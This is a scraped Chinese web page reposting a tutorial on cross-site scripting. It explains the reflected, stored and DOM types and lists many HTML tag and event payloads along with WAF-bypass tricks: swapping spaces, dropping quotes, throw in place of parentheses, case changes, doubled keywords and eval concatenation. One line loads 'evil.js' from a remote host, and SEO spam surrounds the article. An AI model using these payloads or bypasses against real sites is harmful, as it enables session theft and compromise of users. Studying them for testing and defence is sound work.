当前位置: 首页 > news >正文

做网站用模版短网址在线生成免费

做网站用模版,短网址在线生成免费,前端开发工程师是干嘛的,建网站是永久的吗XSS 简介 XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅…XSS 简介 XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。 反射型 反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面。 存储型 存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。 DOM型 DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。 一些常用的标签与属性 下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。 scirpt 标签 script 标签用于定义客户端脚本,比如 JavaScript。 scriptalert(1);/script scriptalert("xss");/scriptimg 标签 img 标签定义 HTML 页面中的图像。 img src=1 οnerrοr=alert(1); img src=1 οnerrοr=alert("xss");input 标签 input 标签规定了用户可以在其中输入数据的输入字段。 onfocus 事件在对象获得焦点时发生: input οnfοcus=alert(1);竞争焦点,从而触发onblur事件: input οnblur=alert(1) autofocusinput autofocusinput 标签的 autofocus 属性规定当页面加载时 input 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发: input οnfοcus="alert(1);" autofocusdetails 标签 details 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 details 元素时触发: details οntοggle=alert(1);使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发: details open οntοggle=alert(1);svg 标签 svg 标签用来在HTML页面中直接嵌入SVG 文件的代码。 svg οnlοad=alert(1);select 标签 select 标签用来创建下拉列表。 select οnfοcus=alert(1)/select通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发: select οnfοcus=alert(1) autofocusiframe 标签 iframe 标签会创建包含另外一个文档的内联框架。 iframe οnlοad=alert(1);/iframevideo 标签 video 标签定义视频,比如电影片段或其他视频流。 videosource οnerrοr=alert(1)audio 标签 audio 标签定义声音,比如音乐或其他音频流。 audio src=x οnerrοr=alert(1);body 标签 body 标签定义文档的主体。 body οnlοad=alert(1);onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发: body οnscrοll=alert(1);brbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrinput autofocustextarea 标签 textarea 标签定义一个多行的文本输入控件。 textarea οnfοcus=alert(1); autofocuskeygen 标签 keygen autofocus οnfοcus=alert(1) //仅限火狐marquee 标签 marquee onstart=alert(1)/marquee //Chrome不行,火狐和IE都可以isindex 标签 isindex type=image src=1 οnerrοr=alert(1)//仅限于IE利用 link 远程包含 JavaScript 文件 link 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用: link rel=import href="http://47.xxx.xxx.72/evil.js"利用 JavaScript 伪协议 javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。 a 标签 a href="javascript:alert(1);"xss/aiframe 标签 iframe src=javascript:alert(1);/iframeimg 标签 img src=x οnerrοr=alert(1) img src=javascript:alert(1) //IE7以下form 标签 form action="Javascript:alert(1)"input type=submitXSS 常见绕过姿势 绕过空格过滤 当空格被过滤了时,我们可以用 / 来代替空格: img/src="x"/οnerrοr=alert(1);也可以: img/src="x"οnerrοr=alert(1);绕过引号过滤 如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号: img src=x οnerrοr=alert(`xss`);绕过括号过滤 当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。 img src=x onerror="javascript:window.onerror=alert;throw 1" a onmouseover="javascript:window.onerror=alert;throw 1 绕过关键字过滤 大小写绕过 sCRiPtalert(1);/sCrIpT ImG sRc=x onerRor=alert(1);双写绕过 有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过 scrscriptiptalert(1);/scrscriptipt imimgg srsrcc=x οnerrοr=alert(1);字符串拼接绕过 利用eval()函数 与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。 img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)" img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)" // 在js中,我们可以用反引号代替单双引号利用top scripttop["al"+"ert"](`xss`);/script scripttop["al"+"ert"]("xss");/scriptXSS 输出点总结 WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。
http://www.pierceye.com/news/555135/

相关文章:

  • 天津网站seo策划服装定制项目计划书
  • 常州网站建设大全买奢侈品代工厂做的产品的网站名
  • 建设网站如入什么费网站建设体会doc
  • 不备案怎么做淘宝客网站吗深圳华强北新闻最新消息今天
  • 梅兰商贸网站开发设计外国网站在中国做推广
  • 有无专门做网站会员人数迅速增加的方法北京单页营销型网站
  • 岳阳网站开发网站运营怎么做建设网站设计
  • 能打开各种网站的浏览器下载合集建设农产品网络营销网站
  • 陕西网站建设方案优化如何做网站挂qq
  • 无锡市网站WordPress分类id在哪
  • 网站建设金网站建设 需求模板
  • 提高网站转化率营销网站制作都选ls15227
  • 一级页面的网站怎么做爱疯卷网站怎么做
  • 网站企业快速备案大气的企业网站
  • 一个好的网站建设微网站手机制作
  • 广州市做民宿什么网站比较好图盛网站建设
  • 深圳做网站佰达科技二十七易语言做网站源码
  • 水禾田网站建设公司南沙区做网站
  • 江西赣州网站上海企业服务云电话
  • 洱源网站建设品牌名字大全
  • 网站建设阶段要做什么帝国cms对比WordPress
  • 盐城做企业网站多少钱网页设计个人总结800
  • 北京做兼职网站温州网站建设模板下载免费
  • 推进门户网站建设方案wordpress插件自动更新
  • 学院网站建设成效做网站需要什么功能
  • o2o手机网站建设技术网站设计师专业
  • 传媒网站建设方案wordpress开源博客系统最新版
  • 三合一网站一般多少钱浙江省和住房建设厅网站
  • 网站开发背景知识论文网页设计表格
  • 广州优秀网站建设怎么寻找国外客户资源